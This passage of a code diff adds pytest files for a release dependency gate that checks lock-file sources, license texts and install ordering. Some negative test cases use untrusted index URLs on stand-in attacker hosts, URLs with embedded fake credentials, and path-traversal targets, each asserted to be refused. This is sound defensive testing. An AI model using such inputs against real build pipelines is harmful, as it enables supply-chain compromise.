+    """A symlink in the collected root is skipped, so it cannot stand in for bytes."""
+    (bench["collected"] / "link.whl").symlink_to(bench["wheel"])
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row(_digest(bench["wheel"]))],
+    )
+    lines = gate.bind_install_requirements(
+        report, bench["capture"], bench["collected"], bench["root"] / "out.txt"
+    )
+    assert lines == [f"green-lib==1.0.0 --hash=sha256:{_digest(bench['wheel'])}"]
+
+
+def test_the_gate_records_the_lock_digest_it_judged(tmp_path: Path) -> None:
+    """Without this field there is nothing for the install to bind against."""
+    from tests.test_release_dependency_gate import build_capture
+
+    capture = build_capture(tmp_path)
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE).to_json()
+    expected = hashlib.sha256((capture / "python" / "lock.txt").read_bytes()).hexdigest()
+    assert report["python_lock_sha256"] == expected
+
+
+def _bind(bench: dict[str, Path], report: Path) -> list[str]:
+    return gate.bind_install_requirements(
+        report, bench["capture"], bench["collected"], bench["root"] / "out.txt"
+    )
+
+
+def test_a_lock_changed_since_the_verdict_is_refused_in_process(
+    bench: dict[str, Path],
+) -> None:
+    """The shell case above proves zero installs; this names the reason code."""
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row(_digest(bench["wheel"]))],
+    )
+    bench["lock"].write_text("green-lib==1.0.0\n", encoding="utf-8")
+    with pytest.raises(gate.GateError) as error:
+        _bind(bench, report)
+    assert error.value.code == gate.SOURCE_HASH_MISMATCH
+
+
+def test_a_missing_judged_artifact_is_refused(bench: dict[str, Path]) -> None:
+    """A verdict naming bytes the collected root does not hold cannot install."""
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row("d" * 64)],
+    )
+    with pytest.raises(gate.GateError) as error:
+        _bind(bench, report)
+    assert error.value.code == gate.SOURCE_HASH_MISMATCH
+    assert "missing judged artifacts" in error.value.detail
+
+
+def test_an_unjudged_distribution_in_the_root_is_refused(bench: dict[str, Path]) -> None:
+    """An extra wheel nobody judged refuses the install by name."""
+    _wheel(bench["collected"], name="extra_lib-2.0.0-py3-none-any.whl", body="x")
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row(_digest(bench["wheel"]))],
+    )
+    with pytest.raises(gate.GateError) as error:
+        _bind(bench, report)
+    assert error.value.code == gate.SOURCE_HASH_MISMATCH
+    assert "extra_lib-2.0.0-py3-none-any.whl" in error.value.detail
+
+
+def test_non_python_rows_and_non_distribution_files_are_ignored(
+    bench: dict[str, Path],
+) -> None:
+    """Cargo rows and the collector's own side files are not install candidates.
+
+    The collected root also holds the reconstructed pin list and the validated
+    option list, so anything that is not a distribution must be skipped rather
+    than counted as an unjudged artifact.
+    """
+    (bench["collected"] / "pins-without-hashes.txt").write_text("x\n", encoding="utf-8")
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[
+            {"key": "cargo/greencrate@0.1.0", "ecosystem": "cargo", "source_sha256": "e" * 64},
+            "not-a-mapping",
+            _row(_digest(bench["wheel"])),
+        ],
+    )
+    assert _bind(bench, report) == [
+        f"green-lib==1.0.0 --hash=sha256:{_digest(bench['wheel'])}"
+    ]
+
+
+def test_the_cli_prints_the_bound_requirements(bench: dict[str, Path], capsys) -> None:
+    """The shell reads this subcommand's exit status, so it must succeed cleanly."""
+    report = _report(
+        bench["root"] / "r.json",
+        lock_digest=_digest(bench["lock"]),
+        rows=[_row(_digest(bench["wheel"]))],
+    )
+    code = gate.main(
+        [
+            "bind-install",
+            "--report",
+            str(report),
+            "--capture",
+            str(bench["capture"]),
+            "--download-root",
+            str(bench["collected"]),
+            "--output",
+            str(bench["root"] / "bound.txt"),
+        ]
+    )
+    assert code == 0
+    assert f"--hash=sha256:{_digest(bench['wheel'])}" in capsys.readouterr().out
+
+
+def test_a_cargo_only_release_records_no_lock_digest(tmp_path: Path) -> None:
+    """A release with no Python lock has no digest to bind, and must not invent one."""
+    import shutil
+
+    from tests.test_release_dependency_gate import build_capture
+
+    capture = build_capture(tmp_path)
+    shutil.rmtree(capture / "python")
+    for entry in sorted(capture.rglob("pypi*")):
+        if entry.exists():
+            shutil.rmtree(entry) if entry.is_dir() else entry.unlink()
+    release = json.loads((capture / "release.json").read_text(encoding="utf-8"))
+    release["ecosystems"] = ["cargo"]
+    (capture / "release.json").write_text(json.dumps(release) + "\n", encoding="utf-8")
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert report.failures == []
+    assert report.to_json()["python_lock_sha256"] == ""
diff --git a/tests/test_release_dependency_install_ordering.py b/tests/test_release_dependency_install_ordering.py
new file mode 100644
index 0000000000..6552a62319
--- /dev/null
+++ b/tests/test_release_dependency_install_ordering.py
@@ -0,0 +1,224 @@
+"""No unadjudicated dependency may be installed (#2342).
+
+The gate's premise is that a denied, unknown or untrusted dependency is refused
+*before* anything of it runs. That was false at the workflow level: the release
+closure was installed in a step that preceded both the lock-source validation and
+the licence prescreen, so a GPL/AGPL or UNKNOWN dependency — and a lock pointing
+at an untrusted index — reached the environment first.
+
+These tests pin the wiring, not the parser. ``RELEASE_GATE_PIP`` points at a
+recorder, so each case asserts on the pip invocations that actually happened:
+
+* a refused lock directive performs **no** pip call at all — not even a download;
+* a refused licence stage performs **no** ``install``;
+* a report that merely claims a pass installs nothing, because authorization is
+  bound to the judged artifacts and lock in
+  ``test_release_dependency_install_binding.py``, which also covers the one
+  authorized install.
+
+The workflow step order is asserted too, because the defect lived there and no
+other test reads that file's ordering.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import subprocess
+import zipfile
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+CAPTURE = REPO_ROOT / "scripts" / "ci" / "release_dependency_capture_raw.sh"
+WORKFLOW = REPO_ROOT / ".github" / "workflows" / "release-dependency-license-strix-gate.yml"
+
+# The capture path uses GNU `find -printf`, which BSD/macOS find does not have.
+# The refusal cases stop before that line and run everywhere; the success case
+# needs it, so it is skipped rather than silently weakened off GNU coreutils.
+_GNU_FIND = (
+    subprocess.run(
+        ["find", ".", "-maxdepth", "0", "-printf", ""],
+        capture_output=True,
+        check=False,
+    ).returncode
+    == 0
+)
+
+_SHA = "a" * 64
+_METADATA = (
+    "Metadata-Version: 2.4\nName: green-lib\nVersion: 1.0.0\nLicense-Expression: MIT\n\n"
+)
+
+
+def _recorder(tmp_path: Path) -> tuple[Path, Path]:
+    """Write a fake pip that logs its argv and materializes a wheel on download."""
+
+    log = tmp_path / "pip-calls.log"
+    script = tmp_path / "fake-pip"
+    script.write_text(
+        "#!/usr/bin/env python3\n"
+        "import os, sys, zipfile\n"
+        f"log = {str(log)!r}\n"
+        "argv = sys.argv[1:]\n"
+        "with open(log, 'a', encoding='utf-8') as handle:\n"
+        "    handle.write('\\t'.join(argv) + '\\n')\n"
+        "if argv and argv[0] == 'download':\n"
+        "    dest = argv[argv.index('--dest') + 1]\n"
+        "    os.makedirs(dest, exist_ok=True)\n"
+        "    path = os.path.join(dest, 'green_lib-1.0.0-py3-none-any.whl')\n"
+        "    with zipfile.ZipFile(path, 'w') as archive:\n"
+        f"        archive.writestr('green_lib-1.0.0.dist-info/METADATA', {_METADATA!r})\n"
+        "        archive.writestr('green_lib/__init__.py', '')\n"
+        "sys.exit(0)\n",
+        encoding="utf-8",
+    )
+    script.chmod(0o755)
+    return script, log
+
+
+def _calls(log: Path) -> list[list[str]]:
+    if not log.exists():
+        return []
+    return [line.split("\t") for line in log.read_text(encoding="utf-8").splitlines() if line]
+
+
+def _run(tmp_path: Path, pip: Path, *args: str) -> subprocess.CompletedProcess[str]:
+    environment = dict(os.environ, RELEASE_GATE_PIP=str(pip))
+    return subprocess.run(
+        ["bash", str(CAPTURE), *args],
+        capture_output=True,
+        text=True,
+        cwd=tmp_path,
+        env=environment,
+        check=False,
+    )
+
+
+def _collect(tmp_path: Path, lock_text: str) -> tuple[subprocess.CompletedProcess[str], Path]:
+    lock = tmp_path / "lock.txt"
+    lock.write_text(lock_text, encoding="utf-8")
+    pip, log = _recorder(tmp_path)
+    result = _run(
+        tmp_path,
+        pip,
+        "--raw-root",
+        str(tmp_path / "raw"),
+        "--capture-root",
+        str(tmp_path / "capture"),
+        "--download-root",
+        str(tmp_path / "collected"),
+        "--ecosystems",
+        "python",
+        "--python-lock",
+        str(lock),
+    )
+    return result, log
+
+
+@pytest.mark.parametrize(
+    ("directive", "code"),
+    [
+        ("--index-url https://packages.example.com/simple\n", "LOCK_SOURCE_ORIGIN_DENIED"),
+        ("--no-index\n", "LOCK_SOURCE_UNSUPPORTED"),
+        ("-r other-requirements.txt\n", "LOCK_SOURCE_UNSUPPORTED"),
+    ],
+)
+def test_a_refused_lock_directive_fetches_nothing(
+    tmp_path: Path, directive: str, code: str
+) -> None:
+    result, log = _collect(tmp_path, f"{directive}green-lib==1.0.0 --hash=sha256:{_SHA}\n")
+    assert result.returncode == 2
+    assert code in result.stdout + result.stderr
+    assert _calls(log) == []
+
+
+@pytest.mark.skipif(not _GNU_FIND, reason="capture needs GNU find -printf")
+def test_a_collected_release_downloads_without_installing(tmp_path: Path) -> None:
+    result, log = _collect(tmp_path, f"green-lib==1.0.0 --hash=sha256:{_SHA}\n")
+    assert result.returncode == 0, result.stderr
+    commands = [call[0] for call in _calls(log)]
+    assert commands == ["download"], commands
+    download = _calls(log)[0]
+    assert "--only-binary=:all:" in download
+    declared = json.loads((tmp_path / "capture" / "python" / "installed.json").read_text())
+    assert declared["installed"][0]["metadata"]["license_expression"] == "MIT"
+
+
+def _install(
+    tmp_path: Path, report_payload: object | None
+) -> tuple[subprocess.CompletedProcess[str], Path]:
+    lock = tmp_path / "lock.txt"
+    lock.write_text(f"green-lib==1.0.0 --hash=sha256:{_SHA}\n", encoding="utf-8")
+    collected = tmp_path / "collected"
+    collected.mkdir(exist_ok=True)
+    with zipfile.ZipFile(collected / "green_lib-1.0.0-py3-none-any.whl", "w") as archive:
+        archive.writestr("green_lib-1.0.0.dist-info/METADATA", _METADATA)
+    report = tmp_path / "license-report.json"
+    if report_payload is not None:
+        report.write_text(json.dumps(report_payload) + "\n", encoding="utf-8")
+    pip, log = _recorder(tmp_path)
+    result = _run(
+        tmp_path,
+        pip,
+        "--install-gated",
+        "--python-lock",
+        str(lock),
+        "--download-root",
+        str(collected),
+        "--license-report",
+        str(report),
+    )
+    return result, log
+
+
+@pytest.mark.parametrize(
+    "payload",
+    [
+        None,
+        {"stage": "license", "result": "FAIL"},
+        {"stage": "full", "result": "PASS"},
+    ],
+    ids=["no-report", "copyleft-or-unknown-rejected", "wrong-stage"],
+)
+def test_an_unauthorized_licence_stage_installs_nothing(
+    tmp_path: Path, payload: object | None
+) -> None:
+    result, log = _install(tmp_path, payload)
+    assert result.returncode == 2
+    assert [call for call in _calls(log) if "install" in call] == []
+
+
+def test_a_report_that_only_claims_a_pass_installs_nothing(tmp_path: Path) -> None:
+    """A two-field report is no longer sufficient authorization.
+
+    Independent review showed this exact report authorizing an install that then
+    re-read the original lock. The install now has to be bound to the judged
+    artifacts and lock, which `test_release_dependency_install_binding.py` drives
+    end to end, including the one authorized install.
+    """
+    result, log = _install(tmp_path, {"stage": "license", "result": "PASS"})
+    assert result.returncode == 2
+    assert [call for call in _calls(log) if "install" in call] == []
+
+
+def test_the_workflow_installs_only_after_source_validation_and_the_licence_stage() -> None:
+    steps = [
+        line.split("- name:", 1)[1].strip()
+        for line in WORKFLOW.read_text(encoding="utf-8").splitlines()
+        if line.strip().startswith("- name:")
+    ]
+    collect = steps.index("Collect the release closure without installing or executing it")
+    licence = steps.index("Refuse a denied or unverifiable licence before any credential exists")
+    install = steps.index("Install the prescreened closure into a lock-only environment")
+    assert collect < licence < install
+    assert not any("Install the release dependency closure" in step for step in steps)
+
+
+def test_the_workflow_install_step_reuses_the_collected_download_root() -> None:
+    text = WORKFLOW.read_text(encoding="utf-8")
+    assert text.count('--download-root "${RUNNER_TEMP}/collected"') == 2
+    assert "--install-gated" in text
+    # The old unconditional install line must not come back.
+    assert 'pip --python "${RUNNER_TEMP}/gate-venv/bin/python" install' not in text
diff --git a/tests/test_release_dependency_license_text_evidence.py b/tests/test_release_dependency_license_text_evidence.py
new file mode 100644
index 0000000000..8c15afc43b
--- /dev/null
+++ b/tests/test_release_dependency_license_text_evidence.py
@@ -0,0 +1,181 @@
+"""A permissive declaration is a claim; the bundled text is the evidence (#2342).
+
+Independent review of `03ba1777` reproduced three prescreen passes that should
+have been refusals. `evaluate_dependency_license` allowed the declared SPDX
+expression and then only looked for a *denied* title in the bundled text, so
+`scan_license_text` returning ``None`` was read as "the text is fine". It is not:
+``None`` only says no GPL/LGPL/AGPL title was found.
+
+Counterexamples from that review, all of which returned `passed=True` with an
+empty `failures` list while the metadata declared MIT:
+
+* `license_texts` = `{}` — nothing to check the declaration against;
+* `LICENSE` = `UNKNOWN`;
+* `LICENSE` = `Commercial redistribution is prohibited.`
+
+Recognition is now required, so each fails closed. A separate GPL-titled file
+still fails as before, and the permissive paths still pass, so the new check
+cannot be satisfied by refusing everything.
+"""
+
+from __future__ import annotations
+
+from pathlib import Path
+from typing import Any
+
+import pytest
+
+from scripts.ci import release_dependency_gate as gate
+from scripts.ci import spdx_license_policy as policy
+from tests.test_release_dependency_gate import (
+    _python_evidence,
+    build_capture,
+    REVIEWED_TEXTS,
+)
+
+_MIT_TEXT = REVIEWED_TEXTS["pytest-9.1.1.txt"]
+
+
+def _codes(capture: Path) -> list[str]:
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    return sorted(failure.code for failure in report.failures)
+
+
+def _licence_stage(tmp_path: Path, **overrides: Any) -> list[str]:
+    return _codes(build_capture(tmp_path, python_evidence=_python_evidence(**overrides)))
+
+
+def test_a_permissive_declaration_with_no_bundled_text_is_refused(tmp_path: Path) -> None:
+    """Review counterexample 1: `license_texts = {}` passed with no failures."""
+    assert _licence_stage(tmp_path, license_texts={}) == [policy.LICENSE_TEXT_MISSING]
+
+
+@pytest.mark.parametrize(
+    "body",
+    [
+        "UNKNOWN",
+        "Commercial redistribution is prohibited.",
+        "",
+        "See the project website for terms.",
+        "Copyright 2026 Example Inc. All rights reserved.",
+    ],
+    ids=["unknown", "commercial-prohibited", "empty", "pointer", "all-rights-reserved"],
+)
+def test_an_unrecognizable_bundled_text_is_refused(tmp_path: Path, body: str) -> None:
+    """Review counterexamples 2 and 3, plus the neighbouring unverifiable bodies."""
+    assert _licence_stage(tmp_path, license_texts={"LICENSE": body}) == [
+        policy.LICENSE_TEXT_UNVERIFIED
+    ]
+
+
+def test_a_recognized_text_that_contradicts_the_declaration_is_refused(
+    tmp_path: Path,
+) -> None:
+    """Apache text under an MIT declaration is a disagreement, not a pass."""
+    assert _licence_stage(
+        tmp_path,
+        license_expression="MIT",
+        license_texts={"LICENSE": REVIEWED_TEXTS["atheris-3.1.0.txt"]},
+    ) == [gate.LICENSE_TEXT_DISAGREEMENT]
+
+
+def test_a_denied_title_still_fails_as_a_disagreement(tmp_path: Path) -> None:
+    """The pre-existing GPL-title detection is unchanged by the new check."""
+    codes = _licence_stage(
+        tmp_path,
+        license_texts={
+            "LICENSE": _MIT_TEXT,
+            "COPYING": "GNU GENERAL PUBLIC LICENSE Version 3",
+        },
+    )
+    assert codes == [gate.LICENSE_TEXT_DISAGREEMENT]
+
+
+def test_matching_declaration_and_text_still_passes(tmp_path: Path) -> None:
+    """The positive case: the new requirement is satisfiable by a real license."""
+    assert _licence_stage(tmp_path, license_texts={"LICENSE": _MIT_TEXT}) == []
+
+
+@pytest.mark.parametrize(
+    ("expression", "body"),
+    [
+        ("Apache-2.0", REVIEWED_TEXTS["atheris-3.1.0.txt"]),
+        ("BSD-3-Clause", REVIEWED_TEXTS["colorama-0.4.6.txt"]),
+        ("ISC", REVIEWED_TEXTS["libloading-0.8.9.txt"]),
+        ("Unlicense", REVIEWED_TEXTS["memchr-2.8.3-UNLICENSE.txt"]),
+    ],
+)
+def test_each_recognized_permissive_family_satisfies_its_declaration(
+    tmp_path: Path, expression: str, body: str
+) -> None:
+    """Every family the recognizer knows must clear its own declaration."""
+    assert (
+        _licence_stage(
+            tmp_path, license_expression=expression, license_texts={"LICENSE": body}
+        )
+        == []
+    )
+
+
+def test_a_dual_licence_selection_is_checked_against_every_declared_identifier(
+    tmp_path: Path,
+) -> None:
+    """The unselected operand still counts as declared, so MIT text disagrees."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            license_expression="BSD-3-Clause OR GPL-2.0-only",
+            license_texts={"LICENSE": _MIT_TEXT},
+        ),
+        selections=[
+            {
+                "ecosystem": "pypi",
+                "name": "greenlib",
+                "version": "1.0.0",
+                "chosen": "BSD-3-Clause",
+                "rationale": "BSD-3-Clause selected; GPL option is never exercised",
+            }
+        ],
+    )
+    assert _codes(capture) == [gate.LICENSE_TEXT_DISAGREEMENT]
+
+
+@pytest.mark.parametrize("expression,body", [
+    ("MPL-2.0", "Mozilla Public License Version 2.0"),
+    ("BSL-1.0", "Boost Software License - Version 1.0"),
+])
+def test_unsupported_title_only_families_remain_unverified(tmp_path, expression, body):
+    """Former positive cases have no reviewed whole text supporting acceptance."""
+    assert _licence_stage(tmp_path, license_expression=expression,
+                          license_texts={"LICENSE": body}) == [policy.LICENSE_TEXT_UNVERIFIED]
+
+
+def test_hypothesis_composite_source_is_preserved_but_not_registered():
+    """An MPL definition mentioning secondary licenses is not a GPL finding."""
+    import hashlib
+    import json
+
+    row = json.loads((Path(__file__).parent / "fixtures/release_license_texts/unsupported-hypothesis.json")
+                     .read_text(encoding="utf-8"))
+    assert hashlib.sha256(row["text"].encode()).hexdigest() == row["raw_sha256"]
+    assert policy.recognize_license_text(row["text"]) is None
+    # No assertion turns the existing denial scanner's keyword hit into a
+    # claim about actual copyleft dependencies or license election.
+
+
+def test_declared_identifiers_ignores_operators_and_exceptions() -> None:
+    """Operators must never be mistaken for identifiers a text could match."""
+    assert gate._declared_identifiers("(MIT OR Apache-2.0) AND BSD-3-Clause") == frozenset(
+        {"MIT", "Apache-2.0", "BSD-3-Clause"}
+    )
+    assert gate._declared_identifiers("GPL-2.0-only WITH Classpath-exception-2.0") == frozenset(
+        {"GPL-2.0-only", "Classpath-exception-2.0"}
+    )
+
+
+def test_recognize_license_text_is_the_positive_half_of_the_scanner() -> None:
+    """`scan_license_text` answers only about denial; recognition is separate."""
+    assert policy.scan_license_text("UNKNOWN") is None
+    assert policy.recognize_license_text("UNKNOWN") is None
+    assert policy.scan_license_text(_MIT_TEXT) is None
+    assert "MIT" in (policy.recognize_license_text(_MIT_TEXT) or frozenset())
diff --git a/tests/test_release_dependency_lock_source_options.py b/tests/test_release_dependency_lock_source_options.py
new file mode 100644
index 0000000000..991acb065d
--- /dev/null
+++ b/tests/test_release_dependency_lock_source_options.py
@@ -0,0 +1,531 @@
+"""Install and capture must resolve from the same validated sources (#2342).
+
+``pip install -r <lock>`` reads the real lock and honors ``--index-url``,
+``--extra-index-url`` and ``--find-links`` in it. The capture step's
+``pip download`` used a reconstructed plain requirements file built with
+``grep -oE '^[A-Za-z0-9._-]+==[^ ;]+'``, which drops every ``-``-prefixed
+directive. Collection could therefore resolve from a different source than
+install, and any lock using a private or extra index failed capture outright.
+
+The fix never forwards what the lock says. Every directive is parsed, validated
+against the same trusted-origin and bounded-path policy
+``materialize_base_python_requirements.py`` applies, and only then emitted as an
+explicit option list. These tests cover both directions: the supported forms that
+must now reach ``pip download``, and every unsupported or untrusted form, which
+must fail explicitly rather than be dropped.
+"""
+
+from __future__ import annotations
+
+from pathlib import Path
+
+import pytest
+
+from scripts.ci import materialize_base_python_requirements as materialize
+from scripts.ci import release_dependency_gate as gate
+
+_PIN = "greenlib==1.0.0 \\\n    --hash=sha256:" + "a" * 64 + "\n"
+
+
+def _options(text: str, root: Path) -> list[str]:
+    """Validate one lock's directives and return the pip options they produce."""
+    return gate.lock_download_options(text, root)
+
+
+# ---------------------------------------------------------------------------
+# Positive: the supported forms reach pip download
+# ---------------------------------------------------------------------------
+
+
+def test_a_lock_with_no_directives_produces_no_options(tmp_path: Path) -> None:
+    """This organization's own hash-pinned locks use no source directives."""
+    assert _options(_PIN, tmp_path) == []
+
+
+def test_an_allowlisted_index_url_is_forwarded(tmp_path: Path) -> None:
+    """A trusted HTTPS index origin is passed through so download matches install."""
+    text = f"--index-url https://pypi.org/simple\n{_PIN}"
+    assert _options(text, tmp_path) == ["--index-url", "https://pypi.org/simple"]
+
+
+def test_an_allowlisted_extra_index_url_is_forwarded(tmp_path: Path) -> None:
+    """`--extra-index-url` is honored on the same terms as `--index-url`."""
+    text = f"--extra-index-url https://files.pythonhosted.org/simple\n{_PIN}"
+    assert _options(text, tmp_path) == [
+        "--extra-index-url",
+        "https://files.pythonhosted.org/simple",
+    ]
+
+
+def test_the_equals_spelling_is_accepted(tmp_path: Path) -> None:
+    """pip accepts `--opt=value`, so the validator must read it identically."""
+    text = f"--index-url=https://pypi.org/simple\n{_PIN}"
+    assert _options(text, tmp_path) == ["--index-url", "https://pypi.org/simple"]
+
+
+def test_the_short_index_spelling_is_accepted(tmp_path: Path) -> None:
+    """`-i` is pip's short form of `--index-url` and must not be dropped."""
+    text = f"-i https://pypi.org/simple\n{_PIN}"
+    assert _options(text, tmp_path) == ["-i", "https://pypi.org/simple"]
+
+
+def test_an_allowed_offline_find_links_root_resolves_to_an_absolute_path(
+    tmp_path: Path,
+) -> None:
+    """A permitted offline wheel directory collects, resolved inside the release tree."""
+    (tmp_path / "wheels").mkdir()
+    text = f"--find-links wheels\n{_PIN}"
+    options = _options(text, tmp_path)
+    assert options[0] == "--find-links"
+    assert Path(options[1]) == (tmp_path / "wheels").resolve()
+    assert Path(options[1]).is_absolute()
+
+
+def test_a_nested_find_links_directory_is_allowed(tmp_path: Path) -> None:
+    """A deeper permitted path inside the release tree is still bounded."""
+    (tmp_path / "fixtures" / "wheels").mkdir(parents=True)
+    options = _options(f"--find-links fixtures/wheels\n{_PIN}", tmp_path)
+    assert Path(options[1]) == (tmp_path / "fixtures" / "wheels").resolve()
+
+
+def test_the_short_find_links_spelling_is_accepted(tmp_path: Path) -> None:
+    """`-f` is pip's short form of `--find-links`."""
+    (tmp_path / "wheels").mkdir()
+    options = _options(f"-f wheels\n{_PIN}", tmp_path)
+    assert options[0] == "-f"
+
+
+def test_several_directives_are_forwarded_in_lock_order(tmp_path: Path) -> None:
+    """Order matters to pip's resolution, so it is preserved exactly."""
+    (tmp_path / "wheels").mkdir()
+    text = (
+        "--index-url https://pypi.org/simple\n"
+        "--extra-index-url https://files.pythonhosted.org/simple\n"
+        f"--find-links wheels\n{_PIN}"
+    )
+    options = _options(text, tmp_path)
+    assert options[:4] == [
+        "--index-url",
+        "https://pypi.org/simple",
+        "--extra-index-url",
+        "https://files.pythonhosted.org/simple",
+    ]
+    assert options[4] == "--find-links"
+
+
+def test_comments_and_hash_continuations_are_not_directives(tmp_path: Path) -> None:
+    """A `--hash=` continuation and a comment are not source directives."""
+    text = f"# --index-url https://evil.invalid/simple\n{_PIN}"
+    assert _options(text, tmp_path) == []
+
+
+# ---------------------------------------------------------------------------
+# Negative: untrusted origins
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    "url",
+    [
+        "https://packages.evil.invalid/simple",
+        "https://pypi.org.evil.invalid/simple",
+        "https://internal-mirror.corp.invalid/simple",
+    ],
+)
+def test_an_external_origin_not_on_the_allowlist_fails_explicitly(
+    tmp_path: Path, url: str
+) -> None:
+    """An unlisted index host is refused; it is never quietly dropped."""
+    with pytest.raises(gate.GateError) as error:
+        _options(f"--index-url {url}\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_ORIGIN_DENIED
+
+
+@pytest.mark.parametrize(
+    "url",
+    [
+        "http://pypi.org/simple",
+        "file:///etc/wheels",
+        "ftp://pypi.org/simple",
+        "https://pypi.org:8443/simple",
+    ],
+)
+def test_a_non_allowed_scheme_or_port_fails_explicitly(tmp_path: Path, url: str) -> None:
+    """Only HTTPS on the default port is an acceptable index origin."""
+    with pytest.raises(gate.GateError) as error:
+        _options(f"--index-url {url}\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_ORIGIN_DENIED
+
+
+def test_a_malformed_port_fails_rather_than_raising_value_error(tmp_path: Path) -> None:
+    """An unparseable port is refused, not allowed to escape as a ValueError."""
+    with pytest.raises(gate.GateError) as error:
+        _options(f"--index-url https://pypi.org:notaport/simple\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_ORIGIN_DENIED
+
+
+# ---------------------------------------------------------------------------
+# Negative: credentials in a URL, with no material in the reason
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    "url",
+    [
+        "https://buildbot:s3cr3t-T0KEN@pypi.org/simple",
+        "https://s3cr3t-T0KEN@pypi.org/simple",
+        "https://buildbot:s3cr3t-T0KEN@packages.evil.invalid/simple",
+    ],
+)
+def test_a_url_carrying_userinfo_fails_and_leaks_no_credential(
+    tmp_path: Path, url: str
+) -> None:
+    """Userinfo is a negative case, and the refusal carries no credential material."""
+    with pytest.raises(gate.GateError) as error:
+        _options(f"--index-url {url}\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_CREDENTIAL_IN_URL
+    message = str(error.value)
+    for secret in ("s3cr3t-T0KEN", "buildbot"):
+        assert secret not in message
+    # The whole URL is withheld, so neither the host nor the path can carry a token out.
+    assert url not in message
+    assert "pypi.org" not in message
+
+
+def test_userinfo_is_checked_before_the_host_allowlist(tmp_path: Path) -> None:
+    """A credential must never be reported as merely an origin problem."""
+    with pytest.raises(gate.GateError) as error:
+        _options(
+            f"--index-url https://user:tok@packages.evil.invalid/simple\n{_PIN}", tmp_path
+        )
+    assert error.value.code == gate.LOCK_SOURCE_CREDENTIAL_IN_URL
+    assert "tok" not in str(error.value)
+
+
+# ---------------------------------------------------------------------------
+# Negative: paths escaping the permitted root
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    "target",
+    ["../wheels", "../../etc", "wheels/../../outside", "./wheels", "a/./b"],
+)
+def test_a_path_escaping_the_permitted_root_fails_explicitly(
+    tmp_path: Path, target: str
+) -> None:
+    """A relative traversal or non-normalized path is refused."""
+    with pytest.raises(gate.GateError) as error:
+        _options(f"--find-links {target}\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_PATH_ESCAPE
+
+
+@pytest.mark.parametrize(
+    "target",
+    ["/etc/wheels", "~/wheels", "C:\\wheels", "https://pypi.org/simple", "wheels?x=1"],
+)
+def test_an_absolute_url_or_unsafe_find_links_target_fails(
+    tmp_path: Path, target: str
+) -> None:
+    """`--find-links` may name only a bounded relative directory, never a URL."""
+    with pytest.raises(gate.GateError) as error:
+        _options(f"--find-links {target}\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_PATH_ESCAPE
+
+
+def test_a_find_links_target_that_is_not_a_directory_fails(tmp_path: Path) -> None:
+    """A missing or non-directory target cannot be an offline wheel source."""
+    (tmp_path / "wheels").write_text("not a directory", encoding="utf-8")
+    with pytest.raises(gate.GateError) as error:
+        _options(f"--find-links wheels\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_PATH_ESCAPE
+
+
+def test_a_symlinked_find_links_target_fails(tmp_path: Path) -> None:
+    """A symlink could point outside the release tree after resolution."""
+    outside = tmp_path.parent / "outside-wheels"
+    outside.mkdir(exist_ok=True)
+    (tmp_path / "wheels").symlink_to(outside)
+    with pytest.raises(gate.GateError) as error:
+        _options(f"--find-links wheels\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_PATH_ESCAPE
+
+
+def test_the_bounded_path_rules_agree_with_the_existing_include_policy() -> None:
+    """The path policy is the repository's existing one, not a second mechanism.
+
+    Every target the established
+    ``materialize_base_python_requirements._bounded_requirement_include_target``
+    rejects must also be rejected here, so the two cannot drift apart.
+    """
+    rejected = [
+        "../other.txt",
+        "/abs/other.txt",
+        "~/other.txt",
+        "a\\b.txt",
+        "a:b.txt",
+        "a?b.txt",
+        "a#b.txt",
+        "./other.txt",
+    ]
+    for target in rejected:
+        assert materialize._bounded_requirement_include_target(f"-r {target}") is None
+        with pytest.raises(gate.GateError) as error:
+            gate._resolve_bounded_find_links("--find-links", target, Path("/tmp"))
+        assert error.value.code == gate.LOCK_SOURCE_PATH_ESCAPE, target
+
+
+# ---------------------------------------------------------------------------
+# Negative: unsupported forms fail rather than being dropped
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    "directive",
+    ["-r other.txt", "--requirement other.txt", "-c constraints.txt", "--constraint c.txt"],
+)
+def test_a_nested_include_fails_explicitly(tmp_path: Path, directive: str) -> None:
+    """Honoring includes would need a second requirements dialect, so they are refused."""
+    with pytest.raises(gate.GateError) as error:
+        _options(f"{directive}\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_UNSUPPORTED
+    assert "inline the closure" in str(error.value)
+
+
+@pytest.mark.parametrize(
+    "directive",
+    [
+        "--no-index",
+        "--trusted-host pypi.org",
+        "--pre",
+        "--editable .",
+        "-e .",
+        "--no-binary :all:",
+    ],
+)
+def test_an_unsupported_directive_form_fails_rather_than_being_dropped(
+    tmp_path: Path, directive: str
+) -> None:
+    """Silently dropping a directive is the defect; every unknown form now fails.
+
+    The reason names the form itself. A valueless flag such as `--no-index` must not
+    be reported as a value-count problem, which would hide why it is refused.
+    """
+    with pytest.raises(gate.GateError) as error:
